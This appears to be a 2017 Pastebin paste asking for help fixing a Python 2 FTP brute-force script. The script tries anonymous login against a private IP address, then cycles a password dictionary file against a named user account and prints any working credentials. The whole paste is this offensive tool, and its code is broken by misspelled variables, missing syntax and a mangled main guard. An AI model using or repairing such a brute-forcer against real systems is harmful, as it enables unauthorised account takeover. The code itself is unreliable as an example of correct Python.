Advertisement
Guest User

fix this code *022

a guest
Jun 30th, 2017
516
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. import ftplib
  2.  
  3. def connect(host,user,password):
  4. try:
  5. ftp = ftplib.FTP(host)
  6. ftp.login(user,password)
  7. ftp.quit()
  8. return True
  9. except:
  10. return False
  11.  
  12. def main():
  13. #variables
  14. targetHostAddress = '10.0.0.24'
  15. username = 'gus'
  16. passwordFilePath = 'passwords.txt'
  17.  
  18. #try to connect using anonymous credentials
  19. print '[+] Using anonymous credentials for' + targetHostAddress
  20. if connect(targetHOstAddress,'anonymous','test@test.com'):
  21. print '[+] FTP anonymous log on succeeded on host' + tagetHostAddress
  22. else:
  23. print'[+] FTP anonymous credentials failed on host' + targetHostAddress
  24.  
  25. #Try brute force using dictionary files
  26.  
  27. #open password dictionary file
  28. passwordsFile = opne(passwordsFilePath.txt,'r')
  29.  
  30. for line in passwordFile.readlines():
  31. #clean the lines in the dictionary file
  32.  
  33. password = line.strip('\r').strip('\n')
  34. print "TESTING: " + str(password)
  35.  
  36. if connect(targetHostAddress,username,password)
  37. #password Found
  38. print "[*] FTP LOGIN SUCCEDDED on HOST " + targetHostAddress + "Username: " + username "Password: " + password
  39. exit(0)
  40. else:
  41. #password not found
  42.  
  43. print "[*] FTP LOGIN FAILED on HOST: " + targetHostAddress + "Username: " + username "Password: " + password if __name__ == "__main__":
  44. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement